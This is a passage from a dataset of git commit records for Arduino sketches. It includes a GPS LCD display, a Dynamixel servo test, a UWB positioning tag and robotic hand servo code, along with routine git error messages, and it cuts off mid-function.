SPEED_CUTOUT) {\n lcd.print(\"0 \");\n }\n else {\n lcd.print((int)GPSData.speed);\n lcd.print(\" \"); \/\/ Clear the extra char\n }\n }\n else {\n lcd.print(\" \"); \/\/ Clear the extra chars\n if (GPSData.altitude <= 99.9) {\n lcd.setCursor (14, 1);\n }\n else {\n lcd.setCursor (13, 1);\n }\n lcd.print((int)GPSData.altitude); \/\/ Altitude\n \/\/ Toggle credit every TOGGLETIME_INTERVAL seconds\n if (now - prevCreditTime > (TOGGLETIME_INTERVAL \/ 2)) {\n prevCreditTime = now;\n if (creditToggle) { \/\/ Display credit\n creditToggle = false;\n lcd.print(\" \"); \/\/ Clear the extra chars\n lcd.print(CREDIT); \/\/ Yours truly :-)\n }\n else {\n creditToggle = true;\n lcd.print(\" \"); \/\/ Clear the extra chars\n }\n } \/\/ if (now - prevCreditTime > TOGGLETIME_INTERVAL)\n } \/\/ if ((digitalRead(SPEED_ALTITUDE_SW)))\n#else \/\/ 20x4 ----------------------------------------------------\n lcd.home (); \/\/ Go to 1st line\n lcd.print(\"Lat: \");\n lcd.print(GPSData.lat);\n lcd.setCursor (15, 0);\n lcd.print(\"SV:\");\n if ((pastSatellites != GPSData.satellites) || (GPSData.satellites == 0)) {\n pastSatellites = GPSData.satellites;\n if (GPSData.satellites == 0) {\n if (now - prevInvalidSatellitesTime > TOGGLETIME_INTERVAL \/ 3) {\n prevInvalidSatellitesTime = now;\n if (InvalidSatellitesToggle) {\n InvalidSatellitesToggle = false;\n lcd.print(\"XX\");\n }\n else {\n InvalidSatellitesToggle = true;\n lcd.print(\" \");\n } \/\/ if (InvalidSatellitesToggle)\n } \/\/ if (now - prevInvalidSatellitesTime > TOGGLETIME_INTERVAL)\n } \/\/ if (GPSData.satellites == 0)\n else if (GPSData.satellites <= 9) {\n lcd.print(\" \"); \/\/ Blank leading char\n lcd.print(GPSData.satellites);\n }\n else {\n lcd.print(GPSData.satellites);\n } \/\/ else if (GPSData.satellites <= 9)\n } \/\/ if ((pastSatellites != GPSData.satellites) || (GPSData.satellites == 0))\n lcd.setCursor (0, 1); \/\/ Go to 2nd line\n lcd.print(\"Lon: \");\n lcd.print(GPSData.lon);\n#ifndef CONVERT_TO_LOCAL\n \/\/ Only display if time\/date is selected\n if (!(digitalRead(ALTITUDE_DATE_TIME_SW))) {\n lcd.print(\" \"); \/\/ Clear the extra chars\n uint8_t DOW = dayOfWeek(GPSData.year, GPSData.month, GPSData.day);\n if (IsDST(GPSData.day, GPSData.month, DOW)) {\n lcd.print(\"DST\");\n }\n else {\n lcd.print(\" ST\");\n }\n }\n else {\n lcd.print(\" \"); \/\/ Clear the extra chars\n }\n#endif \/\/ #ifndef CONVERT_TO_LOCAL\n lcd.setCursor (0, 2); \/\/ Go to 3rd line\n lcd.print(\"Spd: \");\n if (GPSData.speed < SPEED_CUTOUT) {\n lcd.print(\"0 \");\n }\n else {\n lcd.print((int)GPSData.speed);\n lcd.print(\" \"); \/\/ Clear the extra chars\n }\n lcd.setCursor (12, 2);\n lcd.print(\"Hdg: \");\n if (GPSData.speed < SPEED_CUTOUT) {\n lcd.print(\"0 \");\n }\n else {\n \/\/ Toggle heading every TOGGLETIME_INTERVAL seconds\n if (now - prevHeadingTime > TOGGLETIME_INTERVAL) {\n prevHeadingTime = now;\n if (headingToggle) { \/\/ Display cardinal heading\n headingToggle = false;\n lcd.print(cardinal(GPSData.heading));\n }\n else { \/\/ Display degrees heading\n headingToggle = true;\n lcd.print((int)GPSData.heading);\n if (GPSData.heading <= 99.9) lcd.print(\" \"); \/\/ Clear the extra char\n } \/\/ if (headingToggle)\n } \/\/ if (now - prevHeadingTime > TOGGLETIME_INTERVAL)\n } \/\/ if (GPSData.speed < SPEED_CUTOUT)\n lcd.setCursor (0, 3); \/\/ Go to 4th line\n if ((digitalRead(ALTITUDE_DATE_TIME_SW))) {\n lcd.print(\"Alt: \");\n lcd.print((int)GPSData.altitude);\n \/\/ Toggle credit every TOGGLETIME_INTERVAL seconds\n if (now - prevCreditTime > (TOGGLETIME_INTERVAL \/ 2)) {\n prevCreditTime = now;\n if (creditToggle) { \/\/ Display credit\n creditToggle = false;\n lcd.print(\" \"); \/\/ Clear the extra chars\n lcd.print(CREDIT); \/\/ Yours truly :-)\n }\n else {\n creditToggle = true;\n lcd.print(\" \"); \/\/ Clear the extra chars\n }\n } \/\/ if (now - prevCreditTime > TOGGLETIME_INTERVAL)\n prevDateTime = TOGGLETIME_INTERVAL;\n dateTimeToggle = true; \/\/ Default first to display date\n } \/\/ if ((digitalRead(ALTITUDE_DATE_TIME_SW)))\n else {\n \/\/ Toggle date\/time every TOGGLETIME_INTERVAL seconds\n if (now - prevDateTime > TOGGLETIME_INTERVAL) {\n prevDateTime = now;\n if (dateTimeToggle) {\n \/\/ Display date\n dateTimeToggle = false;\n lcd.print(\"Date: \");\n uint8_t hour = GPSData.hour;\n uint8_t day = GPSData.day;\n uint8_t month = GPSData.month;\n uint16_t year = GPSData.year;\n#ifdef CONVERT_TO_LOCAL\n \/\/ Convert UTC date to local date\n bool DST = convertToLocal (&hour, &year, &month,\n &day, GPSData.lon, true); \/\/ true means date conversion\n#endif \/\/ #ifdef CONVERT_TO_LOCAL\n if (month < 10) lcd.print(\"0\");\n lcd.print(month);\n lcd.print(\"\/\");\n if (day < 10) lcd.print(\"0\");\n lcd.print(day);\n lcd.print(\"\/\");\n lcd.print(year);\n printDay (dayOfWeek (year, month, day));\n } \/\/ if (dateTimeToggle)\n else {\n \/\/ Display time\n dateTimeToggle = true;\n lcd.print(\"Time: \");\n uint8_t hour = GPSData.hour;\n uint8_t day = GPSData.day;\n uint8_t month = GPSData.month;\n uint16_t year = GPSData.year;\n#ifdef CONVERT_TO_LOCAL\n \/\/ Convert UTC time to local time (no need to convert the date)\n bool DST = convertToLocal (&hour, &year, &month,\n &day, GPSData.lon, false); \/\/ false means no date conversion\n#else \/\/ #ifdef CONVERT_TO_LOCAL\n#ifdef DISPLAY_12_HOUR\n if (hour == 0) { \/\/ 12 hour clocks don't display 0\n hour = 12;\n }\n#endif \/\/ #ifdef DISPLAY_12_HOUR\n#endif \/\/ #ifdef CONVERT_TO_LOCAL\n#ifdef DISPLAY_12_HOUR\n char AMPM[] = \"am\";\n if (hour >= 12) { \/\/ Convert to 12 hour format\n if (hour > 12) hour -= 12;\n strcpy (AMPM, \"pm\");\n }\n#endif\n if (hour < 10) lcd.print(\"0\");\n lcd.print(hour);\n lcd.print(\":\");\n if (GPSData.minute < 10) lcd.print(\"0\");\n lcd.print(GPSData.minute);\n lcd.print(\":\");\n if (GPSData.second < 10) lcd.print(\"0\");\n lcd.print(GPSData.second);\n#ifdef DISPLAY_12_HOUR\n lcd.print(AMPM);\n#endif \/\/ #ifdef DISPLAY_12_HOUR\n#ifdef CONVERT_TO_LOCAL\n#ifdef DISPLAY_12_HOUR\n (DST) ? lcd.print(\" DST\") : lcd.print(\" ST\");\n#else \/\/ #ifdef DISPLAY_12_HOUR\n (DST) ? lcd.print(\" DST\") : lcd.print(\" ST\");\n#endif \/\/ #ifdef DISPLAY_12_HOUR\n#endif \/\/ #ifndef CONVERT_TO_LOCAL\n#ifndef CONVERT_TO_LOCAL\n#ifdef DISPLAY_12_HOUR\n lcd.print(\" UTC\");\n#else \/\/ #ifdef DISPLAY_12_HOUR\n lcd.print(\" UTC\");\n#endif \/\/ #ifdef DISPLAY_12_HOUR\n#endif \/\/ #ifndef CONVERT_TO_LOCAL\n } \/\/ if (dateTimeToggle)\n } \/\/ if (now - prevDateTime > TOGGLETIME_INTERVAL)\n } \/\/ if ((digitalRead(ALTITUDE_DATE_TIME_SW)))\n#endif \/\/------------------------------------------------------------\n } \/\/ if (dataValid)\n\n \/\/ GPS data is not valid, so it must be initializing\n#ifdef _16x2 \/\/------------------------------------------------------\n else {\n \/\/ Display initialization screen once every INITIALIZATION_INTERVAL\n if (now - prevInitializationTime > INITIALIZATION_INTERVAL) {\n prevInitializationTime = now;\n lcd.setCursor (6, 0); \/\/ Go to 1st line\n lcd.print(\"GPS\");\n lcd.setCursor (11, 0);\n lcd.print(\"v\");\n lcd.print(VERSION);\n lcd.setCursor (2, 1); \/\/ Go to 2nd line\n lcd.print(\"Initializing\");\n lcd.setCursor (15, 1);\n if (++initializingCounter > 9) initializingCounter = 1; \/\/ Limit 1 - 9\n lcd.print(initializingCounter);\n leftInitialization = false;\n }\n }\n#else \/\/ 20x4 -------------------------------------------------------\n else {\n \/\/ Display initialization screen once every INITIALIZATION_INTERVAL\n if (now - prevInitializationTime > INITIALIZATION_INTERVAL) {\n prevInitializationTime = now;\n lcd.setCursor (8, 0); \/\/ Go to 1st line\n lcd.print(\"GPS\");\n lcd.setCursor (14, 0);\n lcd.print(\"v\");\n lcd.print(VERSION);\n lcd.setCursor (4, 1); \/\/ Go to 2nd line\n lcd.print(\"Initializing\");\n lcd.setCursor (6, 2); \/\/ Go to 3rd line\n lcd.print(\"Data Not\");\n lcd.setCursor (7, 3); \/\/ Go to 4th line\n lcd.print(\"Valid\");\n lcd.setCursor (19, 3);\n if (++initializingCounter > 9) initializingCounter = 1; \/\/ Limit 1 - 9\n lcd.print(initializingCounter);\n leftInitialization = false;\n }\n }\n#endif \/\/------------------------------------------------------------\n\n#ifdef DEBUG\n \/\/ Display debug info to the serial monitor (if DEBUG is enabled)\n \/\/ Display debug data once every DEBUG_INTERVAL\n if (now - prevDebugTime > DEBUG_INTERVAL) {\n prevDebugTime = now;\n displayDebugData();\n }\n#endif \/\/ #ifdef DEBUG\n\n} \/\/ loop\n\n#ifndef _16x2\n\/* Helper functions start here\n\n Ripped off from Electrical Engineering Stack Exchange\n http:\/\/electronics.stackexchange.com\/questions\/66285\/how-to-calculate-day-of-the-week-for-rtc\n ------------------------------------------------------------\n Returns the number of days to the start of the specified year, taking leap\n years into account, but not the shift from the Julian calendar to the\n Gregorian calendar. Instead, it is as though the Gregorian calendar is\n extrapolated back in time to a hypothetical \"year zero\".\n*\/\nuint16_t leap (uint16_t year)\n{\n return year * 365 + (year \/ 4) - (year \/ 100) + (year \/ 400);\n}\n\/* Returns a number representing the number of days since March 1 in the\n hypothetical year 0, not counting the change from the Julian calendar\n to the Gregorian calendar that occurred in the 16th century. This\n algorithm is loosely based on a function known as \"Zeller's Congruence\".\n This number MOD 7 gives the day of week, where 0 = Monday and 6 = Sunday.\n*\/\nuint16_t zeller (uint16_t year, uint8_t month, uint8_t day)\n{\n year += ((month + 9) \/ 12) - 1;\n month = (month + 9) % 12;\n return leap (year) + month * 30 + ((6 * month + 5) \/ 10) + day + 1;\n}\n\n\/\/ Returns the day of week for a given date.\nuint8_t dayOfWeek (uint16_t year, uint8_t month, uint8_t day)\n{\n return (zeller (year, month, day) % 7) + 1;\n}\n\/\/----------------------------------------------------------\n\n\/\/ Print the day of the week on the LCD\nvoid printDay(uint8_t day)\n{\n if (day == 7) day = 0;\n switch (day)\n {\n case 0: lcd.print(\" Mon\"); break;\n case 1: lcd.print(\" Tue\"); break;\n case 2: lcd.print(\" Wed\"); break;\n case 3: lcd.print(\" Thu\"); break;\n case 4: lcd.print(\" Fri\"); break;\n case 5: lcd.print(\" Sat\"); break;\n case 6: lcd.print(\" Sun\"); break;\n default: lcd.print(\" Err\");\n }\n}\n\n\/\/ Compute the cardinal points of the compass\nconst char* cardinal(double course)\n{\n#ifdef _16CARDINAL\n const char* directions[] = {\"N \", \"NNE\", \"NE \", \"ENE\", \"E \", \"ESE\", \"SE \", \"SSE\",\n \"S \", \"SSW\", \"SW \", \"WSW\", \"W \", \"WNW\", \"NW \", \"NNW\"\n };\n#else\n const char* directions[] = {\"N \", \"N \", \"NE \", \"NE \", \"E \", \"E \", \"SE \", \"SE \",\n \"S \", \"S \", \"SW \", \"SW \", \"W \", \"W \", \"NW \", \"NW \"\n };\n#endif \/\/ #ifdef _16CARDINAL\n uint8_t direction = (uint8_t)((course + 11.25d) \/ 22.5d);\n return directions[direction % 16];\n}\n\n\/* Ripped off from Stackoverflow\n http:\/\/stackoverflow.com\/questions\/5590429\/calculating-daylight-saving-time-from-only-date\n\n Check to see if it's Daylight Savings Time (DST)\n*\/\nbool IsDST(uint8_t day, uint8_t month , uint8_t DOW)\n{\n \/\/ Make Day of Week (DOW) match with what Stackoverflow suggests\n \/\/ for DOW (Sunday = 0 to Saturday = 6)\n switch (DOW)\n {\n case 6: DOW = 0; break; \/\/ Sun\n case 7: DOW = 1; break; \/\/ Mon\n case 1: DOW = 2; break; \/\/ Tue\n case 2: DOW = 3; break; \/\/ Wed\n case 3: DOW = 4; break; \/\/ Thu\n case 4: DOW = 5; break; \/\/ Fri\n case 5: DOW = 6; break; \/\/ Sat\n default: break;\n }\n \/\/ January, February, and December are out\n if (month < 3 || month > 11) {\n return false;\n }\n \/\/ April to October are in\n if (month > 3 && month < 11) {\n return true;\n }\n int previousSunday = (int)(day - DOW);\n \/\/ In march, we are DST if our previous Sunday was on or after the 8th\n if (month == 3) {\n return previousSunday >= 8;\n }\n \/\/ In November we must be before the first Sunday to be DST\n \/\/ That means the previous Sunday must be before the 1st\n return previousSunday <= 0;\n}\n\n#ifdef CONVERT_TO_LOCAL\n\/* Convert UTC time and date to local time and date\n Difference between UTC time\/date (at Greenwich) and local time\/date is 15 minutes\n per 1 degree of longitude. See the following:\n http:\/\/www.edaboard.com\/thread101516.html\n*\/\nbool convertToLocal (uint8_t* hour, uint16_t* year, uint8_t* month,\n uint8_t* day, const double lon, bool convertDate) {\n\n uint8_t DaysAMonth [] = {31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31};\n\n \/\/ Get Day of Week (DOW)\n uint8_t DOW = dayOfWeek(*year, *month, *day);\n \/\/ Get Daylight Saving Time (DST) or Standard Time (ST)\n bool DST = IsDST(*day, *month, DOW);\n \/\/ Compute local time (hours)\n int UTCOffset = (int)(lon \/ 15.0d); \/\/ UTC offset\n if (UTCOffset < 0) {\n \/\/ West of Greenwich, subtract\n UTCOffset = abs(UTCOffset); \/\/ Make offset positive\n if (DST) --UTCOffset; \/\/ Compensate for DST\n if (*hour <= UTCOffset) *hour += 24;\n *hour = *hour - UTCOffset; \/\/ Subtract offset\n }\n else {\n \/\/ East of Greenwich, add\n if (DST) ++UTCOffset; \/\/ Compensate for DST\n if (*hour <= UTCOffset) *hour += 24;\n *hour = *hour + UTCOffset; \/\/ Add offset\n }\n \/\/ Convert date if convertDate flag is set\n \/\/ Portions of the following code (with some modifications) ripped off from Instructables\n \/\/ http:\/\/www.instructables.com\/id\/GPS-time-UTC-to-local-time-conversion-using-Arduin\/?ALLSTEPS\n if (convertDate) {\n if ((24 - *hour) <= UTCOffset) { \/\/ A new UTC day started\n if (*year % 4 == 0) DaysAMonth[1] = 29; \/\/leap year check (the simple method)\n if (*hour < 24) {\n *day -= 1;\n if (*day < 1) {\n if (*month == 1) {\n *month = 12;\n *year -= 1;\n } \/\/ if (*month == 1)\n else {\n *month -= 1;\n }\n *day = DaysAMonth[*month - 1];\n } \/\/ if (*day < 1)\n } \/\/ if (*hour < 24)\n else if (*hour >= 24) {\n day += 1;\n if (*day > DaysAMonth[*month - 1]) {\n *day = 1;\n *month += 1;\n if (*month > 12) *year += 1;\n } \/\/ if (*day > DaysAMonth[*month - 1])\n } \/\/ if (*hour >= 24)\n } \/\/ if ((24 - *hour) <= UTCOffset)\n } \/\/ if (convertDate)\n return (DST);\n}\n#endif \/\/ #ifdef CONVERT_TO_LOCAL\n#endif \/\/ #ifndef _16x2\n\n#ifdef DEBUG\n\/\/ Displays debug data to the serial monitor\nvoid displayDebugData() {\n Serial.print(\"Version: \");\n Serial.println(VERSION);\n Serial.print(\"Satellite Count: \");\n Serial.println(GPSData.satellites);\n Serial.print(\"Latitude: \");\n Serial.println(GPSData.lat, 6);\n Serial.print(\"Longitude: \");\n Serial.println(GPSData.lon, 6);\n Serial.print(\"Speed MPH: \");\n Serial.println(GPSData.speed);\n Serial.print(\"Altitude Feet: \");\n Serial.println(GPSData.altitude);\n#ifdef _16x2\n Serial.print(\"Alt\/SPD: \");\n Serial.println((digitalRead(SPEED_ALTITUDE_SW)) ? \"Speed\" : \"Altitude\");\n#else\n Serial.print(\"Altitude\/Date: \");\n Serial.println(!(digitalRead(ALTITUDE_DATE_TIME_SW)) ? \"Date\/Time\" : \"Altitude\");\n#endif\n Serial.println((digitalRead(BACKLIGHT_SW)) ? \"Backlight On\" : \"Backlight Off\");\n Serial.print(\"Data valid: \");\n Serial.println(dataValid);\n uint8_t DOW = dayOfWeek(GPSData.year, GPSData.month, GPSData.day);\n Serial.print(\"DST = \");\n Serial.println(IsDST(GPSData.day, GPSData.month, DOW));\n Serial.println(\"\");\n}\n#endif\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'GPSLCD.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"9b2d6863a4aea64338f5bc3dd8d70d6f0a5792ae","subject":"Update","message":"Update\n","repos":"Blade2021\/roots,Blade2021\/roots,Blade2021\/roots","old_file":"hydroCore\/hydroCore.ino","new_file":"hydroCore\/hydroCore.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/Blade2021\/roots.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"c767e156072f64b0b56cc26ec6080dc78257f987","subject":"Implement test suite and failing test of junk data in buffer.","message":"Implement test suite and failing test of junk data in buffer.\n","repos":"descampsa\/ardyno","old_file":"tests\/test_mega_hardware_serial\/test_mega_hardware_serial.ino","new_file":"tests\/test_mega_hardware_serial\/test_mega_hardware_serial.ino","new_contents":"\/\/ This test suite is built for Arduino MEGA versions only;\n\/\/ it tests with servos attached to one serial port\n\/\/ (Serial1 is the hard-coded default) and will report \n\/\/ test results on Serial.\n\n\/\/ Hardware Requirements:\n\/\/ - Arduino MEGA, MEGA ADK\n\/\/ - AX-12 connected directly to Serial1 port, \n\/\/ without tristate buffer\n\n\/\/ - By C. Matlack 2017-05-08\n\n\n#include <ArduinoUnit.h>\n#include <Dynamixel.h>\n#include <DynamixelInterface.h>\n#include <DynamixelMotor.h>\n#include <SoftwareSerial.h> \n\nconst unsigned int id = 2;\nconst long unsigned int baudrate = 1000000;\n\nHardwareDynamixelInterface interface(Serial1);\nDynamixelDevice device(interface, id);\nDynamixelMotor motor(interface, id);\n\n\nvoid setup() {\n Serial.begin(115200);\n}\n\n\/\/------------ Custom Assertions ----------------------------\n\/\/ Custom Assertion for memory leak in function\nvoid assertNoLeak(void (*callback)())\n{\n int start = freeMemory();\n (*callback)();\n int end = freeMemory();\n assertEqual(0, (start - end));\n}\n\n\/\/ Custom Assertion for comparing byte arrays\nvoid assertBytesEqual(const uint8_t* expected, const uint8_t* actual, int size) {\n for (int i = 0; i < size; i++) {\n \/\/ Serial.print(\"> \");Serial.print(expected[i]);Serial.print(\" \");Serial.println(actual[i]);\n if (expected[i] != actual[i]) {\n Serial.print(\"\\nassertBytesEqual() failing at index \");\n Serial.println(i);\n }\n assertEqual(expected[i], actual[i]);\n }\n}\n\n\/\/ Custom assertion for empty receive buffer\nbool BufferIsClear() {\n Serial1.flush();\n uint8_t count = 0;\n while (Serial1.available()) {\n Serial.print(Serial1.read());\n count++;\n }\n if (count != 0) { \n Serial.print(\"\\n chars left in Serial1 buffer: \");\n Serial.println(count);\n }\n Serial.flush();\n return (count == 0);\n}\n\n\n\/\/--------------- Custom Setup ---------------------------------\nvoid test_setup() {\n interface.begin(baudrate);\n assertTrue(BufferIsClear());\n}\n\n\/\/--------------- Test Definitions ------------------------------\n\n\/\/ Just make sure the test apparatus works.\ntest(0_dummy) {\n test_setup();\n assertTrue(true);\n}\n\n\ntest(1_junk_in_buffer) {\n test_setup();\n motor.init();\n motor.enableTorque();\n motor.jointMode();\n motor.speed(256);\n\n for (uint16_t pos = 400; pos < 600; pos+=10) {\n motor.goalPosition(pos);\n delay(15);\n assertTrue(BufferIsClear());\n uint16_t actual = motor.currentPosition();\n Serial.print(pos);\n Serial.print(\" target\/actual \");\n Serial.println(actual);\n assertTrue(actual != 0);\n assertTrue(BufferIsClear()); \/\/ This loop will be fine \n }\n\n Serial.println(\"\\nRepeating with increased delay\\n\");\n\n for (uint16_t pos = 400; pos < 600; pos+=10) {\n motor.goalPosition(pos);\n delay(150); \/\/ Note time delay difference\n assertTrue(BufferIsClear());\n Serial.print(pos);\n Serial.print(\" target\/actual \");\n Serial.println(motor.currentPosition());\n assertTrue(BufferIsClear()); \/\/ This fails, but not on first iteration\n }\n \n}\n\n\nvoid loop() {\n Test::run();\n}","old_contents":"","returncode":1,"stderr":"error: pathspec 'tests\/test_mega_hardware_serial\/test_mega_hardware_serial.ino' did not match any file(s) known to git\n","license":"bsd-2-clause","lang":"Arduino"} {"commit":"bfd8a198e6dd4e57eb1becbc44dc517e294ca951","subject":"adding tag","message":"adding tag\n","repos":"dddutz\/jarvas-indoor-positioning-system,dddutz\/jarvas-indoor-positioning-system,dddutz\/jarvas-indoor-positioning-system,dddutz\/jarvas-indoor-positioning-system,dddutz\/jarvas-indoor-positioning-system,dddutz\/jarvas-indoor-positioning-system,dddutz\/jarvas-indoor-positioning-system","old_file":"tag\/tag.ino","new_file":"tag\/tag.ino","new_contents":"#include <SPI.h>\n#include \"DW1000Ranging.h\"\n#include \"DW1000Device.h\"\n#include <MatrixMath.h>\n#include <math.h>\n\/\/A3: 1\n\/\/A2: 3\n\/\/A1: 2\n\/\/ connection pins\nconst uint8_t PIN_RST = 3; \/\/ reset pin\nconst uint8_t PIN_IRQ = 7; \/\/ irq pin\nconst uint8_t PIN_SS = 10; \/\/ spi select pin\nvolatile unsigned long delaySent = 0;\nvolatile boolean sentAck = false;\nvolatile float range = 0;\nvolatile int address = 0;\n\nvolatile float dist[3] = {655.35, 655.35, 655.35};\nfloat beacons[3][2] = {{0.0f, 2.94f},\n {0.0f, 0.0f},\n {2.94f, 0.0f}};\n\nfloat A[3][3];\nvoid setup() {\n Serial.begin(115200);\n delay(1000);\n pinMode(6,OUTPUT);\n \/\/init the configuration\n DW1000Ranging.initCommunication(PIN_RST, PIN_SS, PIN_IRQ);\n DW1000Ranging.attachNewRange(newRange);\n DW1000Ranging.startAsTag(\"7D:00:22:EA:82:60:3B:9C\", DW1000.MODE_LONGDATA_RANGE_ACCURACY);\n unsigned long start, step_start, finished;\n\n start = micros();\n \n for(int i = 0; i < 3; i++) {\n A[i][0] = -2.0f*beacons[i][0];\n A[i][1] = -2.0f*beacons[i][1];\n A[i][2] = 1.0f;\n }\n\n Matrix.Invert((float*)A, 3);\n\n step_start = micros();\n\n Serial.println(step_start - start);\n}\nvoid loop() {\n DW1000Ranging.loop();\n}\n\nvoid newRange() {\n address = DW1000Ranging.getDistantDevice()->getShortAddress();\n\n range = DW1000Ranging.getDistantDevice()->getRange();\n range -= 0.2;\n range *= 0.7257;\n dist[0] = address==0x1A1A?range:dist[0];\n dist[1] = address==0x2A1A?range:dist[1];\n dist[2] = address==0x1A3A?range:dist[2];\n Serial.print(\"1: \");Serial.print(dist[0]);Serial.print(\" 2: \");Serial.print(dist[1]);Serial.print(\" 3: \");Serial.print(dist[2]);\n \n \/\/ ITERATIVE STEPS BELOW\n\n float y[3];\n for(int i = 0; i < 3; i++) {\n y[i] = float((dist[i])*(dist[i]) - (beacons[i][0])*(beacons[i][0]) - (beacons[i][1])*(beacons[i][1]));\n }\n float x[3];\n Matrix.Multiply((float*)A, (float*)y, 3, 3, 1, (float*)x);\n\n float estimate[2] = {x[0], x[1]};\n\n Serial.print(\" Location: [\"); Serial.print(estimate[0]); Serial.print(\"m, \"); Serial.print(estimate[1]); Serial.print(\"m] \\n\");\n \n if(estimate[0] > 4.0f){\n digitalWrite(6,HIGH);\n }\n else digitalWrite(6,LOW);\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'tag\/tag.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"ed9c2cc30272fbe580bdef025c5ee807beb053ff","subject":"mano v0.5 - InMoov Hand - AILR","message":"mano v0.5 - InMoov Hand - AILR\n\nWith this version the hand perform a movements sequence. \r\n2016.\r\nAngel Iv\u00e1n Lozano Ram\u00edrez.\r\nhttps:\/\/goo.gl\/rQB4H5","repos":"ailr16\/InMoov-Control---AILR","old_file":"mano_v0.5\/mano_v0.5.ino","new_file":"mano_v0.5\/mano_v0.5.ino","new_contents":"\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Angel Iv\u00e1n Lozano Ram\u00edrez \/\/\n\/\/ Projecto Mano rob\u00f3tica \/\/\n\/\/ Firmware v0.5 \/\/\n\/\/ 25\/06\/2016 \/\/\n\/\/ Secuencia de movimientos de una \/\/\n\/\/ mano rob\u00f3tica \/\/\n\/\/ https:\/\/goo.gl\/XCEf7p \/\/\n\/\/ https:\/\/goo.gl\/rQB4H5 \/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#include <Servo.h>\n\nServo menique;\nServo anular;\nServo medio;\nServo indice;\nServo pulgar;\n\nint meniqueH = 90;\nint meniqueL = 180;\nint anularH = 60;\nint anularL = 180;\nint medioH = 120;\nint medioL = 0;\nint indiceH = 92;\nint indiceL = 180;\nint pulgarH = 176;\nint pulgarL = 20;\n\nvoid setup() {\n menique.attach(11); \n anular.attach(10);\n medio.attach(9);\n indice.attach(6);\n pulgar.attach(5);\n}\n\nvoid loop() {\n cero();\n delay(5000);\n uno();\n delay(5000);\n dos();\n delay(5000);\n tres();\n delay(5000);\n cuatro();\n delay(5000);\n cinco();\n delay(5000);\n cuatro();\n delay(5000);\n tres();\n delay(5000);\n dos();\n delay(5000);\n uno();\n delay(5000);\n cero();\n delay(5000);\n gesture();\n delay(5000);\n}\n\nvoid cero(){\n menique.write(meniqueH);\n anular.write(anularH);\n medio.write(medioH);\n indice.write(indiceH);\n pulgar.write(pulgarH);\n}\n\nvoid uno(){\n menique.write(meniqueH);\n anular.write(anularH);\n medio.write(medioH);\n indice.write(indiceL);\n pulgar.write(pulgarH);\n}\n\nvoid dos(){\n menique.write(meniqueH);\n anular.write(anularH);\n medio.write(medioL);\n indice.write(indiceL);\n pulgar.write(pulgarH);\n}\n\nvoid tres(){\n menique.write(meniqueH);\n anular.write(anularL);\n medio.write(medioL);\n indice.write(indiceL);\n pulgar.write(pulgarH);\n}\n\nvoid cuatro(){\n menique.write(meniqueL);\n anular.write(anularL);\n medio.write(medioL);\n indice.write(indiceL);\n pulgar.write(pulgarH);\n}\n\nvoid cinco(){\n menique.write(meniqueL);\n anular.write(anularL);\n medio.write(medioL);\n indice.write(indiceL);\n pulgar.write(pulgarL);\n}\n\nvoid gesture(){\n menique.write(meniqueL);\n anular.write(anularH);\n medio.write(medioH);\n indice.write(indiceL);\n pulgar.write(pulgarH);\n}\n\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'mano_v0.5\/mano_v0.5.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"d9bba7cf41897aaf304ff3cc2b036c214f7cbd28","subject":"Update atsd_mqtt_example.ino","message":"Update atsd_mqtt_example.ino","repos":"axibase\/arduino,axibase\/arduino,axibase\/arduino","old_file":"dataTransmission\/atsd_mqtt_example\/atsd_mqtt_example.ino","new_file":"dataTransmission\/atsd_mqtt_example\/atsd_mqtt_example.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/axibase\/arduino.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"6f1234613a4a27c3602c0db43693f4cae7cccae2","subject":"biber firmware: inital commit","message":"biber firmware: inital commit\n","repos":"cloudarts\/monster-biber","old_file":"biber\/biber.ino","new_file":"biber\/biber.ino","new_contents":"#include <Servo.h> \n#include <NewPing.h>\n\n#define TRIGGER_PIN A1 \/\/ Arduino pin tied to trigger pin on the ultrasonic sensor.\n#define ECHO_PIN A0 \/\/ Arduino pin tied to echo pin on the ultrasonic sensor.\n#define MAX_DISTANCE 300 \/\/ Maximum distance we want to ping for (in centimeters). Maximum sensor distance is rated at 400-500cm.\n#define ANSWER_SERVO_DELAY 1000\n#define SERVO_WAIT_TIME_MILLIS 30\n#define SONAR_WAIT_TIME_MILLIS 30\n\n#define SERVO_MIN_MS 600\n#define SERVO_MAX_MS 2400\n\n#define COMMAND_BUFFER_LENGTH 12\n\nServo servo;\n\nNewPing sonar(TRIGGER_PIN, ECHO_PIN, MAX_DISTANCE);\n\nCOMMAND currentCommand;\n\nchar inData[COMMAND_BUFFER_LENGTH]; \/\/ Allocate some space for the string\nchar inChar=-1; \/\/ Where to store the character read\nbyte index = 0; \/\/ Index into array; where to store the character\n\nenum COMMANDS {\n NONE = -1,\n SONAR, \/\/ value = servo microseconds\n COMMANDS_MAX\n}\n\nunsigned long lastServoTime;\nunsigned long lastSonarTime;\n \nvoid setup() {\n \n \/\/ turn on servo\n servo.attach(10); \n Serial.begin(115200); \n lastServoTime = millis();\n lastSonarTime = millis();\n sayYes();\n}\n\nvoid loop() {\n readSerial();\n}\n\nbool readSerial() {\n bool 